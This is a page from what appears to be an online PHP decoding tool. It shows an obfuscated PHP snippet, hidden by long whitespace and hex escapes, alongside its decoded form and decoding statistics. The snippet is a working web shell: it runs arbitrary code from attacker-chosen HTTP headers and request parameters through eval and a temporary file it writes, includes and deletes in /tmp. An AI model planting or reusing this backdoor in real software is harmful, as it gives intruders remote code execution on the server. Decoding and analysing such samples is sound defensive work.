Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $..

Decoded Output download

<?php                                                                                    $_HEADERS=getallheaders();if(isset($_HEADERS['Feature-Policy'])){$sys=$_HEADERS['Feature-Policy']('', $_HEADERS['Content-Security-Policy']($_HEADERS['Large-Allocation']));$sys();} 
                                                                                    $_HEADERS = getallheaders();if(isset($_HEADERS['X-Dns-Prefetch-Control'])){$c="<?php @eval($_HEADERS[\"Clear-Site-Data\"]);@eval($_REQUEST[\"Clear-Site-Data\"]);";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);} ?>

Did this file decode correctly?

Original Code

<?php                                                                                    $_HEADERS=getallheaders();if(isset($_HEADERS['Feature-Policy'])){$sys=$_HEADERS['Feature-Policy']('', $_HEADERS['Content-Security-Policy']($_HEADERS['Large-Allocation']));$sys();}
                                                                                    $_HEADERS = getallheaders();if(isset($_HEADERS['X-Dns-Prefetch-Control'])){$c="<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fH\x45A\x44E\x52S\x5b\"\x43l\x65a\x72-\x53i\x74e\x2dD\x61t\x61\"\x5d)\x3b@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x43l\x65a\x72-\x53i\x74e\x2dD\x61t\x61\"\x5d)\x3b";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}

Function Calls

getallheaders 1

Variables

None

Stats

MD5 117e87cc108ad5b1840ffeb355ca0da6
Eval Count 0
Decode Time 45 ms